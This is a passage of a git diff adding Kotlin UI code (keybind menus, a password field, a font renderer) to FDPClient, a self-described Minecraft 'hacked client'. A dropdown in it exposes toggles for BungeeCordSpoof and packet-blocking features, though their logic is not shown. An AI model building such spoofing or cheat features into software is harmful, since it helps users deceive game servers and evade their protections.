32F, Keyboard.KEY_COMMA, ",")) + keys.add(KeyInfo(12F + 32F * 10.5F, 12F + 37F * 3, 27F, 32F, Keyboard.KEY_PERIOD, ".")) + keys.add(KeyInfo(12F + 32F * 11.5F, 12F + 37F * 3, 27F, 32F, Keyboard.KEY_SLASH, "/")) + keys.add(KeyInfo(12F + 32F * 12.5F, 12F + 37F * 3, 32F * 2.5F - 5F, 32F, Keyboard.KEY_RSHIFT, "Shift", "RShift")) + // line5 + keys.add(KeyInfo(12F, 12F + 37F * 4, 32F * 1.5F - 5F, 32F, Keyboard.KEY_LCONTROL, "Ctrl", "LCtrl")) + keys.add(KeyInfo(12F + 32F * 1.5F, 12F + 37F * 4, 32F * 1.5F - 5F, 32F, Keyboard.KEY_LMENU, "Alt", "LAlt")) + keys.add(KeyInfo(12F + 32F * 3F, 12F + 37F * 4, 32 * 8F - 5F, 32F, Keyboard.KEY_SPACE, " ", "Space")) + keys.add(KeyInfo(12F + 32F * 11F, 12F + 37F * 4, 32F * 1.5F - 5F, 32F, Keyboard.KEY_RMENU, "Alt", "RAlt")) + keys.add(KeyInfo(12F + 32F * 12.5F, 12F + 37F * 4, 27F, 32F, Keyboard.KEY_HOME, "\u00d8", "Home")) + keys.add(KeyInfo(12F + 32F * 13.5F, 12F + 37F * 4, 32F * 1.5F - 5F, 32F, Keyboard.KEY_RCONTROL, "Ctrl", "RCtrl")) + } + + override fun doesGuiPauseGame(): Boolean { + return false + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/keybind/KeyInfo.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/keybind/KeyInfo.kt new file mode 100644 index 0000000..f609294 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/keybind/KeyInfo.kt @@ -0,0 +1,172 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.client.keybind + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.handler.macro.Macro +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.font.FontLoaders +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.audio.PositionedSoundRecord +import net.minecraft.util.ResourceLocation +import org.lwjgl.input.Keyboard +import org.lwjgl.opengl.GL11 +import java.awt.Color + +/** + * @author XiGua And LiuLihaocai + * FDPClient + */ +class KeyInfo( + val posX: Float, + val posY: Float, + val width: Float, + val height: Float, + val key: Int, + val keyName: String, + val keyDisplayName: String +) : MinecraftInstance() { + constructor(posX: Float, posY: Float, width: Float, height: Float, key: Int, keyName: String) : + this(posX, posY, width, height, key, keyName, keyName) + + private val keyColor = Color(240, 240, 240).rgb + private val shadowColor = Color(210, 210, 210).rgb + private val unusedColor = Color(200, 200, 200).rgb + private val usedColor = Color(0, 0, 0).rgb + private val baseTabHeight = 150 + private val baseTabWidth = 100 + private val direction = posY >= 100 + + private var modules = ArrayList<Module>() + private var macros = ArrayList<Macro>() + private var hasKeyBind = false + private var stroll = 0 + private var maxStroll = 0 + + fun render() { + GL11.glPushMatrix() + GL11.glTranslatef(posX, posY, 0F) + + RenderUtils.drawRect(0F, 0F, width, height, keyColor) + RenderUtils.drawRect(0F, height * 0.9F, width, height, shadowColor) + (if (hasKeyBind) { Fonts.font40 } else { Fonts.font40 }) + .drawCenteredString(keyName, width * 0.5F, height * 0.9F * 0.5F - (Fonts.font35.FONT_HEIGHT * 0.5F) + 3F, if (hasKeyBind) { usedColor } else { unusedColor }, false) + + GL11.glPopMatrix() + } + + fun renderTab() { + GL11.glPushMatrix() + + GL11.glTranslatef((posX + width * 0.5F) - baseTabWidth * 0.5F, if (direction) { posY - baseTabHeight } else { posY + height }, 0F) + RenderUtils.drawRect(0F, 0F, baseTabWidth.toFloat(), baseTabHeight.toFloat(), Color.WHITE.rgb) + + // render modules + val fontHeight = 10F - Fonts.font40.height * 0.5F + var yOffset = (12F + Fonts.font40.height + 10F) - stroll + for (module in modules) { + if (yOffset> 0 && (yOffset - 20) <100) { + GL11.glPushMatrix() + GL11.glTranslatef(0F, yOffset, 0F) + + Fonts.font40.drawString(LanguageManager.get(module.localizedName.replace("%", "")), 12F, fontHeight, Color.DARK_GRAY.rgb, false) + Fonts.font40.drawString( + "-", baseTabWidth - 12F - Fonts.font40.getStringWidth("-"), fontHeight, Color.RED.rgb, false + ) + + GL11.glPopMatrix() + } + yOffset += 20 + } + for (macro in macros) { + if (yOffset> 0 && (yOffset - 20) <100) { + GL11.glPushMatrix() + GL11.glTranslatef(0F, yOffset, 0F) + + Fonts.font40.drawString(macro.command, 12F, fontHeight, Color.DARK_GRAY.rgb, false) + Fonts.font40.drawString( + "-", baseTabWidth - 12F - Fonts.font40.getStringWidth("-"), fontHeight, Color.RED.rgb, false + ) + + GL11.glPopMatrix() + } + yOffset += 20 + } + + // cover the excess + RenderUtils.drawRect(0F, 0F, baseTabWidth.toFloat(), 12F + Fonts.font40.height + 10F, Color.WHITE.rgb) + RenderUtils.drawRect(0F, baseTabHeight - 22F - Fonts.font40.height, baseTabWidth.toFloat(), baseTabHeight.toFloat(), Color.WHITE.rgb) + FontLoaders.C18.DisplayFonts(LanguageManager.getAndFormat("ui.keybind.key", keyDisplayName), 12F, 12F, Color.BLACK.rgb, FontLoaders.C18) + FontLoaders.C18.DisplayFonts("%ui.keybind.add%", baseTabWidth - 12F - Fonts.font40.getStringWidth("%ui.keybind.add%"), baseTabHeight - 12F - Fonts.font40.height, Color(0, 191, 255).rgb/*sky blue*/, FontLoaders.C18) + + GL11.glPopMatrix() + } + + fun stroll(mouseX: Float, mouseY: Float, wheel: Int) { + val scaledMouseX = mouseX - ((posX + width * 0.5F) - baseTabWidth * 0.5F) + val scaledMouseY = mouseY - (if (direction) { posY - baseTabHeight } else { posY + height }) + if (scaledMouseX <0 || scaledMouseY <0 || scaledMouseX> baseTabWidth || scaledMouseY> baseTabHeight) { + return + } + + val afterStroll = stroll - (wheel / 40) + if (afterStroll> 0 && afterStroll <(maxStroll - 150)) { + stroll = afterStroll + } + } + + fun update() { + modules = FDPClient.moduleManager.getKeyBind(key) as ArrayList<Module> + macros = FDPClient.macroManager.macros.filter { it.key == key } as ArrayList<Macro> + hasKeyBind = (modules.size + macros.size)> 0 + stroll = 0 + maxStroll = modules.size * 30 + macros.size * 30 + } + + fun click(mouseX: Float, mouseY: Float) { + val keyBindMgr = FDPClient.keyBindManager + + if (keyBindMgr.nowDisplayKey == null) { + keyBindMgr.nowDisplayKey = this + mc.soundHandler.playSound(PositionedSoundRecord.create(ResourceLocation("random.click"), 1F)) + } else { + val scaledMouseX = mouseX - ((posX + width * 0.5F) - baseTabWidth * 0.5F) + val scaledMouseY = mouseY - (if (direction) { posY - baseTabHeight } else { posY + height }) + if (scaledMouseX <0 || scaledMouseY <0 || scaledMouseX> baseTabWidth || scaledMouseY> baseTabHeight) { + keyBindMgr.nowDisplayKey = null // close it when click out of area + return + } + + if (scaledMouseY> 22F + Fonts.font40.height && + scaledMouseX> baseTabWidth - 12F - Fonts.font40.getStringWidth("%ui.keybind.add%")) { + if (scaledMouseY> baseTabHeight - 22F - Fonts.font40.height) { + keyBindMgr.popUI = KeySelectUI(this) + } else { + var yOffset = (12F + Fonts.font40.height + 10F) - stroll + for (module in modules) { + if (scaledMouseY> (yOffset + 5) && scaledMouseY <(yOffset + 15)) { + module.keyBind = Keyboard.KEY_NONE + update() + break + } + yOffset += 20 + } + for (macro in macros) { + if (scaledMouseY> (yOffset + 5) && scaledMouseY <(yOffset + 15)) { + FDPClient.macroManager.macros.remove(macro) + update() + break + } + yOffset += 20 + } + } + } + } + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/keybind/KeySelectUI.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/keybind/KeySelectUI.kt new file mode 100644 index 0000000..334dca7 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/keybind/KeySelectUI.kt @@ -0,0 +1,121 @@ +package net.ccbluex.liquidbounce.ui.client.keybind + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.handler.macro.Macro +import net.ccbluex.liquidbounce.features.module.Module +import net.ccbluex.liquidbounce.ui.client.other.PopUI +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.ui.i18n.LanguageManager +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.util.ChatAllowedCharacters +import org.lwjgl.input.Keyboard +import org.lwjgl.opengl.GL11 +import java.awt.Color + +/** + * @author liulihaocai + * FDPClient + */ +class KeySelectUI(val info: KeyInfo) : PopUI(LanguageManager.get("ui.keybind.select")) { + private var str = "" + private var modules = FDPClient.moduleManager.modules.toList() + private val singleHeight = 4F + Fonts.font35.height + private var stroll = 0 + private var maxStroll = modules.size * singleHeight + private val height = 8F + Fonts.font40.height + Fonts.font35.height + 0.5F + + override fun render() { + // modules + var yOffset = height - stroll + 5F + if (str.startsWith(".")) { + Fonts.font35.drawString(LanguageManager.get("ui.keybind.addMacro"), 8F, singleHeight + yOffset, Color.BLACK.rgb, false) + } else { + for (module in modules) { + if (yOffset> (height - singleHeight) && (yOffset - singleHeight) <190) { + GL11.glPushMatrix() + GL11.glTranslatef(0F, yOffset, 0F) + + val name = module.name + Fonts.font35.drawString(if (str.isNotEmpty()) { + "§0" + name.substring(0, str.length) + "§7" + name.substring(str.length, name.length) + } else { "§0$name" }, 8F, singleHeight * 0.5F, Color.BLACK.rgb, false) + + GL11.glPopMatrix() + } + yOffset += singleHeight + } + } + RenderUtils.drawRect(0F, 8F + Fonts.font40.height, baseWidth.toFloat(), height + 5F, Color.WHITE.rgb) + RenderUtils.drawRect(0F, baseHeight - singleHeight, baseWidth.toFloat(), baseHeight.toFloat(), Color.WHITE.rgb) + + // search bar + Fonts.font35.drawString(str.ifEmpty { LanguageManager.get("ui.keybind.search") }, 8F, 8F + Fonts.font40.height + 4F, Color.LIGHT_GRAY.rgb, false) + RenderUtils.drawRect(8F, height + 2F, baseWidth - 8F, height + 3F, Color.LIGHT_GRAY.rgb) + } + + override fun key(typedChar: Char, keyCode: Int) { + if (keyCode == Keyboard.KEY_BACK) { + if (str.isNotEmpty()) { + str = str.substring(0, str.length - 1) + update() + } + return + } else if (keyCode == Keyboard.KEY_RETURN) { + if (str.startsWith(".")) { + FDPClient.macroManager.macros.add(Macro(info.key, str)) + FDPClient.keyBindManager.updateAllKeys() + close() + } else if (modules.isNotEmpty()) { + apply(modules[0]) + } + return + } + + if (ChatAllowedCharacters.isAllowedCharacter(typedChar)) { + str += typedChar + update() + } + } + + override fun stroll(mouseX: Float, mouseY: Float, wheel: Int) { + val afterStroll = stroll - (wheel / 10) + if (afterStroll> 0 && afterStroll <(maxStroll - 100)) { + stroll = afterStroll + } + } + + override fun click(mouseX: Float, mouseY: Float) { + if (mouseX <8 || mouseX> (baseWidth - 8) || mouseY <height || mouseY> (baseHeight - singleHeight)) { + return + } + + var yOffset = height - stroll + 2F + for (module in modules) { + if (mouseY> yOffset && mouseY <(yOffset + singleHeight)) { + apply(module) + break + } + yOffset += singleHeight + } + } + + private fun apply(module: Module) { + module.keyBind = info.key + FDPClient.keyBindManager.updateAllKeys() + close() + } + + override fun close() { + FDPClient.keyBindManager.popUI = null + } + + private fun update() { + modules = if (str.isNotEmpty()) { + FDPClient.moduleManager.modules.filter { it.name.startsWith(str, ignoreCase = true) } + } else { + FDPClient.moduleManager.modules.toList() + } + maxStroll = modules.size * singleHeight + stroll = 0 + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/client/other/PopUI.kt b/src/main/java/net/ccbluex/liquidbounce/ui/client/other/PopUI.kt new file mode 100644 index 0000000..f6f0b35 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/client/other/PopUI.kt @@ -0,0 +1,65 @@ +package net.ccbluex.liquidbounce.ui.client.other + +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import org.lwjgl.opengl.GL11 +import java.awt.Color + +/** + * @author liulihaocai + * FDPClient + */ +open class PopUI(val title: String) { + val baseWidth = 150 + val baseHeight = 210 + + fun onRender(width: Int, height: Int) { + GL11.glPushMatrix() + RenderUtils.drawRect(0F, 0F, width.toFloat(), height.toFloat(), Color(0, 0, 0, 50).rgb) + val scale = (width * 0.2F) / baseWidth + GL11.glTranslatef(width * 0.4F, height * 0.3F, 0F) + GL11.glScalef(scale, scale, scale) + + RenderUtils.drawRect(0F, 0F, baseWidth.toFloat(), baseHeight.toFloat(), Color.WHITE.rgb) + Fonts.font40.drawString(title, 8F, 8F, Color.DARK_GRAY.rgb) + render() + + GL11.glPopMatrix() + } + + fun onClick(width: Int, height: Int, mouseX: Int, mouseY: Int) { + val scale = (width * 0.2F) / baseWidth + val scaledMouseX = (mouseX - width * 0.4f) / scale + val scaledMouseY = (mouseY - height * 0.3f) / scale + + if (scaledMouseX> 0 && scaledMouseY> 0 && scaledMouseX <baseWidth && scaledMouseY <baseHeight) { + click(scaledMouseX, scaledMouseY) + } else { + close() + } + } + + fun onStroll(width: Int, height: Int, mouseX: Int, mouseY: Int, wheel: Int) { + val scale = (width * 0.2F) / baseWidth + val scaledMouseX = (mouseX - width * 0.4f) / scale + val scaledMouseY = (mouseY - height * 0.3f) / scale + + if (scaledMouseX> 0 && scaledMouseY> 0 && scaledMouseX <baseWidth && scaledMouseY <baseHeight) { + stroll(scaledMouseX, scaledMouseY, wheel) + } + } + + fun onKey(typedChar: Char, keyCode: Int) { + key(typedChar, keyCode) + } + + open fun render() {} + + open fun key(typedChar: Char, keyCode: Int) {} + + open fun close() {} + + open fun click(mouseX: Float, mouseY: Float) {} + + open fun stroll(mouseX: Float, mouseY: Float, wheel: Int) {} +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/elements/GuiPasswordField.kt b/src/main/java/net/ccbluex/liquidbounce/ui/elements/GuiPasswordField.kt new file mode 100644 index 0000000..d2629b1 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/elements/GuiPasswordField.kt @@ -0,0 +1,26 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.elements + +import net.minecraft.client.gui.FontRenderer +import net.minecraft.client.gui.GuiTextField + +class GuiPasswordField(componentId: Int, fontrendererObj: FontRenderer, x: Int, y: Int, par5Width: Int, par6Height: Int) : GuiTextField(componentId, fontrendererObj, x, y, par5Width, par6Height) { + + /** + * Draw text box + */ + override fun drawTextBox() { + val realText = text + + val stringBuilder = StringBuilder() + for (i in text.indices) stringBuilder.append('*') + text = stringBuilder.toString() + + super.drawTextBox() + text = realText + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/elements/ToolDropdown.kt b/src/main/java/net/ccbluex/liquidbounce/ui/elements/ToolDropdown.kt new file mode 100644 index 0000000..dc5926d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/elements/ToolDropdown.kt @@ -0,0 +1,121 @@ +package net.ccbluex.liquidbounce.ui.elements + +import net.ccbluex.liquidbounce.FDPClient +import net.ccbluex.liquidbounce.handler.network.BungeeCordSpoof +import net.ccbluex.liquidbounce.handler.network.ClientFixes +import net.ccbluex.liquidbounce.ui.font.Fonts +import net.ccbluex.liquidbounce.utils.AnimationUtils +import net.ccbluex.liquidbounce.utils.render.RenderUtils +import net.minecraft.client.gui.GuiButton +import net.minecraft.client.renderer.GlStateManager.resetColor +import net.minecraft.util.ResourceLocation +import org.lwjgl.opengl.GL11.* +import java.awt.Color + + +object ToolDropdown { + + private var fullHeight = 0F + private var dropState = false + + + private val expandIcon = ResourceLocation("fdpclient/misc/expand.png") + + @JvmStatic + fun handleDraw(button: GuiButton) { + val gray = Color(100, 100, 100).rgb + val bWidth = button.getButtonWidth().toFloat() + + glPushMatrix() + glTranslatef(button.xPosition.toFloat() + button.getButtonWidth().toFloat() - 10F, button.yPosition.toFloat() + 10F, 0F) + if (button.isMouseOver()) + glTranslatef(0F, if (dropState) -1F else 1F, 0F) + glPushMatrix() + glRotatef(180F * (fullHeight / 100F), 0F, 0F, 1F) + RenderUtils.drawImage(expandIcon, -4, -4, 8, 8) + glPopMatrix() + glPopMatrix() + resetColor() + + if (!dropState && fullHeight == 0F) return + fullHeight = AnimationUtils.animate(if (dropState) 100F else 0F, fullHeight, 0.01F * RenderUtils.deltaTime.toFloat()) + + glPushMatrix() + RenderUtils.makeScissorBox(button.xPosition.toFloat(), button.yPosition.toFloat() + 20F, button.xPosition.toFloat() + bWidth, button.yPosition.toFloat() + 20F + fullHeight) + glEnable(GL_SCISSOR_TEST) + glPushMatrix() + glTranslatef(button.xPosition.toFloat(), button.yPosition.toFloat() + 20F - (100F - fullHeight), 0F) + RenderUtils.newDrawRect(0F, 0F, bWidth, 100F, Color(24, 24, 24).rgb) + Fonts.font35.drawString("ClientFixes", 4F, 7F, -1) + Fonts.font35.drawString("BlockFML", 4F, 27F, if (ClientFixes.enabled) -1 else gray) + Fonts.font35.drawString("FMLProxyPackets", 4F, 47F, if (ClientFixes.enabled) -1 else gray) + Fonts.font35.drawString("PayloadPackets", 4F, 67F, if (ClientFixes.enabled) -1 else gray) + Fonts.font35.drawString("Brand", 4F, 87F, -1) + Fonts.font35.drawString("ResourcePackExploit", 4F, 107F, if (ClientFixes.enabled) -1 else gray) + drawToggleSwitch(bWidth - 24F, 5F, 20F, 10F, ClientFixes.enabled) + Fonts.font35.drawString("BungeeCordSpoof", 4F, 105F, -1) + drawCheckbox(bWidth - 14F, 25F, 10F, ClientFixes.blockFML) + drawCheckbox(bWidth - 14F, 45F, 10F, ClientFixes.blockProxyPacket) + drawCheckbox(bWidth - 14F, 65F, 10F, ClientFixes.blockPayloadPackets) + drawCheckbox(bWidth - 14F, 85F, 10F, ClientFixes.blockResourcePackExploit) + drawToggleSwitch(bWidth - 20F, 105F, 16F, 8F, BungeeCordSpoof.enabled) + glPopMatrix() + glDisable(GL_SCISSOR_TEST) + glPopMatrix() + } + + @JvmStatic + fun handleClick(mouseX: Int, mouseY: Int, button: GuiButton): Boolean { + val bX = button.xPosition.toFloat() + val bY = button.yPosition.toFloat() + val bWidth = button.getButtonWidth().toFloat() + if (dropState && isMouseOver(mouseX, mouseY, bX, bY + 20F, bWidth, fullHeight)) { + when { + isMouseOver(mouseX, mouseY, bX, bY + 20F, bWidth, 20F) -> ClientFixes.enabled = !ClientFixes.enabled + isMouseOver(mouseX, mouseY, bX, bY + 40F, bWidth, 20F) -> ClientFixes.blockFML = !ClientFixes.blockFML + isMouseOver(mouseX, mouseY, bX, bY + 60F, bWidth, 20F) -> ClientFixes.blockProxyPacket = !ClientFixes.blockProxyPacket + isMouseOver(mouseX, mouseY, bX, bY + 80F, bWidth, 20F) -> ClientFixes.blockPayloadPackets = !ClientFixes.blockPayloadPackets + isMouseOver(mouseX, mouseY, bX, bY + 100F, bWidth, 20F) -> ClientFixes.blockResourcePackExploit = !ClientFixes.blockResourcePackExploit + isMouseOver(mouseX, mouseY, bX, bY + 120F, bWidth, 20F) -> BungeeCordSpoof.enabled = !BungeeCordSpoof.enabled + } + FDPClient.fileManager.saveConfig(FDPClient.fileManager.specialConfig) + return true + } + return false + } + + private fun isMouseOver(mouseX: Int, mouseY: Int, x: Float, y: Float, width: Float, height: Float) = mouseX >= x && mouseX < x + width && mouseY >= y && mouseY < y + height + + @JvmStatic + fun toggleState() { + dropState = !dropState + } + + fun drawToggleSwitch(x: Float, y: Float, width: Float, height: Float, state: Boolean) { + val borderColor = if (state) Color(0, 140, 255).rgb else Color(160, 160, 160).rgb + val mainColor = if (state) borderColor else Color(24, 24, 24).rgb + RenderUtils.originalRoundedRect(x - 0.5F, y - 0.5F, x + width + 0.5F, y + height + 0.5F, (height + 1F) / 2F, borderColor) + RenderUtils.originalRoundedRect(x, y, x + width, y + height, height / 2F, mainColor) + if (state) + RenderUtils.drawFilledCircle(x + width - 2F - (height - 4F) / 2F, y + 2F + (height - 4F) / 2F, (height - 4F) / 2F, Color(24, 24, 24)) + else + RenderUtils.drawFilledCircle(x + 2F + (height - 4F) / 2F, y + 2F + (height - 4F) / 2F, (height - 4F) / 2F, Color(160, 160, 160)) + } + + fun drawCheckbox(x: Float, y: Float, width: Float, state: Boolean) { + val borderColor = if (state) Color(0, 140, 255).rgb else Color(160, 160, 160).rgb + val mainColor = if (state) borderColor else Color(24, 24, 24).rgb + RenderUtils.originalRoundedRect(x - 0.5F, y - 0.5F, x + width + 0.5F, y + width + 0.5F, 3F, borderColor) + RenderUtils.originalRoundedRect(x, y, x + width, y + width, 3F, mainColor) + if (state) { + glColor4f(0.094F, 0.094F, 0.094F, 1F) + RenderUtils.drawLine((x + width / 4F).toDouble(), + (y + width / 2F).toDouble(), (x + width / 2.15F).toDouble(), (y + width / 4F * 3F).toDouble(), 2F) + RenderUtils.drawLine((x + width / 2.15F).toDouble(), + (y + width / 4F * 3F).toDouble(), (x + width / 3.95F * 3F).toDouble(), (y + width / 3F).toDouble(), 2F) + resetColor() + glColor4f(1F, 1F, 1F, 1F) + } + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/ui/font/AWTFontRenderer.kt b/src/main/java/net/ccbluex/liquidbounce/ui/font/AWTFontRenderer.kt new file mode 100644 index 0000000..646b530 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/ui/font/AWTFontRenderer.kt @@ -0,0 +1,297 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.ui.font + +import net.ccbluex.liquidbounce.utils.render.ColorUtils +import net.minecraft.client.Minecraft +import net.minecraft.client.gui.FontRenderer +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.texture.TextureUtil +import org.lwjgl.opengl.GL11 +import java.awt.Color +import java.awt.Font +import java.awt.Graphics2D +import java.awt.RenderingHints +import java.awt.image.BufferedImage + +/** + * Generate new bitmap based font renderer + */ +class AWTFontRenderer(val font: Font, startChar: Int = 0, stopChar: Int = 255) { + + companion object { + var assumeNonVolatile: Boolean = false + val activeFontRenderers: ArrayList<AWTFontRenderer> = ArrayList() + + private var gcTicks: Int = 0 + private const val GC_TICKS = 600 // Start garbage collection every 600 frames + private const val CACHED_FONT_REMOVAL_TIME = 30000 // Remove cached texts after 30s of not being used + + fun garbageCollectionTick() { + if (gcTicks++ > GC_TICKS) { + activeFontRenderers.forEach { it.collectGarbage() } + + gcTicks = 0 + } + } + } + + private fun collectGarbage() { + val currentTime = System.currentTimeMillis() + + cachedStrings.filter { currentTime - it.value.lastUsage > CACHED_FONT_REMOVAL_TIME }.forEach { + GL11.glDeleteLists(it.value.displayList, 1) + + it.value.deleted = true + + cachedStrings.remove(it.key) + } + } + + private var fontHeight = -1 + private val charLocations = arrayOfNulls<CharLocation>(stopChar) + + private val cachedStrings: HashMap<String, CachedFont> = HashMap() + + private var textureID = 0 + private var textureWidth = 0 + private var textureHeight = 0 + + val height: Int + get() = (fontHeight - 8) / 2 + + init { + renderBitmap(startChar, stopChar) + + activeFontRenderers.add(this) + } + + /** + * Allows you to draw a string with the target font + * + * @param text to render + * @param x location for target position + * @param y location for target position + * @param color of the text + */ + fun drawString(text: String, x: Double, y: Double, color: Int) { + val scale = 0.25 + val reverse = 1 / scale + + GlStateManager.pushMatrix() + GlStateManager.scale(scale, scale, scale) + GL11.glTranslated(x * 2.0, y * 2.0 - 2.0, 0.0) + GlStateManager.bindTexture(textureID) + + val red: Float = (color shr 16 and 0xff) / 255F + val green: Float = (color shr 8 and 0xff) / 255F + val blue: Float = (color and 0xff) / 255F + val alpha: Float = (color shr 24 and 0xff) / 255F + + GlStateManager.color(red, green, blue, alpha) + + var currX = 0.0 + + val cached: CachedFont? = cachedStrings[text] + + if (cached != null) { + GL11.glCallList(cached.displayList) + + cached.lastUsage = System.currentTimeMillis() + + GlStateManager.popMatrix() + + return + } + + var list = -1 + + if (assumeNonVolatile) { + list = GL11.glGenLists(1) + + GL11.glNewList(list, GL11.GL_COMPILE_AND_EXECUTE) + } + + GL11.glBegin(GL11.GL_QUADS) + + for (char in text.toCharArray()) { + if (char.toInt() >= charLocations.size) { + GL11.glEnd() + + // Ugly solution, because floating point numbers, but I think that shouldn't be that much of a problem + GlStateManager.scale(reverse, reverse, reverse) + Minecraft.getMinecraft().fontRendererObj.drawString("$char", currX.toFloat() * scale.toFloat() + 1, 2f, color, false) + currX += Minecraft.getMinecraft().fontRendererObj.getStringWidth("$char") * reverse + + GlStateManager.scale(scale, scale, scale) + GlStateManager.bindTexture(textureID) + GlStateManager.color(red, green, blue, alpha) + + GL11.glBegin(GL11.GL_QUADS) + } else { + val fontChar = charLocations[char.toInt()] ?: continue + + drawChar(fontChar, currX.toFloat(), 0f) + currX += fontChar.width - 8.0 + } + } + + GL11.glEnd() + + if (assumeNonVolatile) { + cachedStrings[text] = CachedFont(list, System.currentTimeMillis()) + GL11.glEndList() + } + + GlStateManager.popMatrix() + } + + /** + * Draw char from texture to display + * + * @param char target font char to render + * @param x target positon x to render + * @param y target potion y to render + */ + private fun drawChar(char: CharLocation, x: Float, y: Float) { + val width = char.width.toFloat() + val height = char.height.toFloat() + val srcX = char.x.toFloat() + val srcY = char.y.toFloat() + val renderX = srcX / textureWidth + val renderY = srcY / textureHeight + val renderWidth = width / textureWidth + val renderHeight = height / textureHeight + + GL11.glTexCoord2f(renderX, renderY) + GL11.glVertex2f(x, y) + GL11.glTexCoord2f(renderX, renderY + renderHeight) + GL11.glVertex2f(x, y + height) + GL11.glTexCoord2f(renderX + renderWidth, renderY + renderHeight) + GL11.glVertex2f(x + width, y + height) + GL11.glTexCoord2f(renderX + renderWidth, renderY) + GL11.glVertex2f(x + width, y) + } + + /** + * Render font chars to a bitmap + */ + private fun renderBitmap(startChar: Int, stopChar: Int) { + val fontImages = arrayOfNulls<BufferedImage>(stopChar) + var rowHeight = 0 + var charX = 0 + var charY = 0 + + for (targetChar in startChar until stopChar) { + val fontImage = drawCharToImage(targetChar.toChar()) + val fontChar = CharLocation(charX, charY, fontImage.width, fontImage.height) + + if (fontChar.height > fontHeight) + fontHeight = fontChar.height + if (fontChar.height > rowHeight) + rowHeight = fontChar.height + + charLocations[targetChar] = fontChar + fontImages[targetChar] = fontImage + + charX += fontChar.width + + if (charX > 2048) { + if (charX > textureWidth) + textureWidth = charX + + charX = 0 + charY += rowHeight + rowHeight = 0 + } + } + textureHeight = charY + rowHeight + + val bufferedImage = BufferedImage(textureWidth, textureHeight, BufferedImage.TYPE_INT_ARGB) + val graphics2D = bufferedImage.graphics as Graphics2D + graphics2D.font = font + graphics2D.color = Color(255, 255, 255, 0) + graphics2D.fillRect(0, 0, textureWidth, textureHeight) + graphics2D.color = Color.white + + for (targetChar in startChar until stopChar) + if (fontImages[targetChar] != null && charLocations[targetChar] != null) + graphics2D.drawImage(fontImages[targetChar], charLocations[targetChar]!!.x, charLocations[targetChar]!!.y, + null) + + textureID = TextureUtil.uploadTextureImageAllocate(TextureUtil.glGenTextures(), bufferedImage, true, + true) + } + + /** + * Draw a char to a buffered image + * + * @param ch char to render + * @return image of the char + */ + private fun drawCharToImage(ch: Char): BufferedImage { + val graphics2D = BufferedImage(1, 1, BufferedImage.TYPE_INT_ARGB).graphics as Graphics2D + + graphics2D.setRenderingHint(RenderingHints.KEY_TEXT_ANTIALIASING, RenderingHints.VALUE_TEXT_ANTIALIAS_ON) + graphics2D.font = font + + val fontMetrics = graphics2D.fontMetrics + + var charWidth = fontMetrics.charWidth(ch) + 8 + if (charWidth <= 0) + charWidth = 7 + + var charHeight = fontMetrics.height + 3 + if (charHeight <= 0) + charHeight = font.size + + val fontImage = BufferedImage(charWidth, charHeight, BufferedImage.TYPE_INT_ARGB) + val graphics = fontImage.graphics as Graphics2D + graphics.setRenderingHint(RenderingHints.KEY_TEXT_ANTIALIASING, RenderingHints.VALUE_TEXT_ANTIALIAS_ON) + graphics.font = font + graphics.color = Color.WHITE + graphics.drawString(ch.toString(), 3, 1 + fontMetrics.ascent) + + return fontImage + } + + /** + * Calculate the string width of a text + * + * @param text for width calculation + * @return the width of the text + */ + fun getStringWidth(text: String): Int { + var width = 0 + + for (c in text.toCharArray()) { + val fontChar = charLocations[ + if (c.toInt() < charLocations.size) + c.toInt() + else + '\u0003'.toInt() + ] ?: continue + + width += fontChar.width - 8 + } + + return width / 2 + } + + fun drawOutlineStringWithoutGL(s: String, x: Float, y: Float, color: Int,font: FontRenderer) { + + font.drawString(ColorUtils.stripColor(s), (x * 2 - 1).toInt(), (y * 2).toInt(), Color.BLACK.rgb) + font.drawString(ColorUtils.stripColor(s), (x * 2 + 1).toInt(), (y * 2).toInt(), Color.BLACK.rgb) + font.drawString(ColorUtils.stripColor(s), (x * 2).toInt(), (y * 2 - 1).toInt(), Color.BLACK.rgb) + font.drawString(ColorUtils.stripColor(s), (x * 2).toInt(), (y * 2 + 1).toInt(), Color.BLACK.rgb) + font.drawString(s, (x * 2).toInt(), (y * 2).toInt(), color) + } + + /** + * Data class for saving char location of the font image + */ + private data class CharLocation(var x: 